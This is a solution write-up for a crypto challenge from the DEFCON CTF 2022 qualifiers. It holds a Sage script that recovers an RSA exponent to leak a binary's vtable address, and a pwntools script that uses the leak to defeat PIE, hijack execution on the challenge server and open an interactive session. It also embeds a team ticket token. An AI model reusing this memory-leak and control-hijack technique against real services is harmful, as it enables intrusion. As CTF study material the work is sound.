solution for Crypto Chall in DEFCON CTF 2022 Quals

leak.sage

from tqdm import tqdm

p = 0x00000001748a30b311afb13858f1dccf
q = 0x0000000120c02771bb5f8edae9364f45
N = p * q

# enc = 0x012a0a1ed3553e95527dedcf481b59d0fcad2c0ab5c3e8ac23
# enc = 0x017e72989e281ebe960631cd5d913e1b5d88ca5f50ca27904a
enc = int(sys.argv[1], 16)

F1 = Zmod(p)
F2 = Zmod(q)

t1 = F1(enc).log(F1(2))
t2 = F2(enc).log(F2(2))

d = crt([t1, t2], [p - 1, q - 1]) # This one often fails :(
e = 0x10001
print(hex(d))

phi = (p - 1) * (q - 1) // gcd(p - 1, q - 1)

for k in tqdm(range(1, 100000)):
    wow = (k * 0x48474645444342410000550000000000 * (q - 1) + 1) // e
    i_st = (wow - d) // phi

    for i in range(-10, 10):
        orig_d = d + (i_st + i) * phi
        if (orig_d * e - 1) % (q - 1) != 0 or (orig_d * e - 1) % k != 0:
            continue
        
        new_p = (orig_d * e - 1) // (q - 1) // k + 1

        if hex(new_p).startswith('0x48474645444342410000'):
            print("FOUND", k, i)
            print(hex(new_p))

solve.py

from pwn import *
import subprocess
from secrets import token_hex
from Crypto.Util.number import *
import random

context.log_level = "info"

N=[b"0x10001",
b"0x1748a30b311afb13858f1dccf",
b"0x120c02771bb5f8edae9364f45"]

# r = process("./cryptochall")

context.log_level = 'DEBUG'

r = remote("crypto-challenge-lpw5gjiu6sqxi.shellweplayaga.me", 31337)
r.sendlineafter(b"please: ", b"ticket{SailForecastle9634n22:9MzqkpJcJWpcOlNKf9pRWEtXLwswenLasdlyPBG5-P57Fekw}")

# print(r.pid); pause()
r.sendlineafter(b"> ", b"0")
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", N[0])
r.sendlineafter(b"> ", N[1])
r.sendlineafter(b"> ", N[2])

r.sendlineafter(b"> ", b"0")
r.sendlineafter(b"> ", b"0")

for i in range(10):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"0")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"0x2")

r.sendlineafter(b"y/N > ", b"y")

r.recvuntil(b'message is:\n\n')
msg = r.recvuntil(b'\n\nWhat')[:-6]
print(repr(msg))

enc = int(msg.hex(), 16)
print(hex(enc))

# To get the vtable address of the base64 class
leak = subprocess.check_output(["sage", "leak.sage", hex(enc)]).strip()
print(repr(leak))
leak = int(leak[2:], 16)
pie_base = (leak % 2**64) - 0x25a48
print("PIE Base: ", hex(pie_base))

while True:
    e = inverse(random.randint(0, 128) * 2**64 + pie_base + 0x25A70, leak - 1)
    p = getPrime(96)
    q = getPrime(96)
    if GCD(e, (p - 1) * (q - 1)) == 1:
        break

r.sendlineafter(b"> ", b"0")
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", hex(e).encode())
r.sendlineafter(b"> ", hex(p).encode())
r.sendlineafter(b"> ", hex(q).encode())

r.sendlineafter(b"> ", b"0")
r.sendlineafter(b"> ", b"0")

r.sendlineafter(b"> ", b"0")
r.sendlineafter(b"> ", b"0")

for i in range(10):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"0x2")

r.interactive()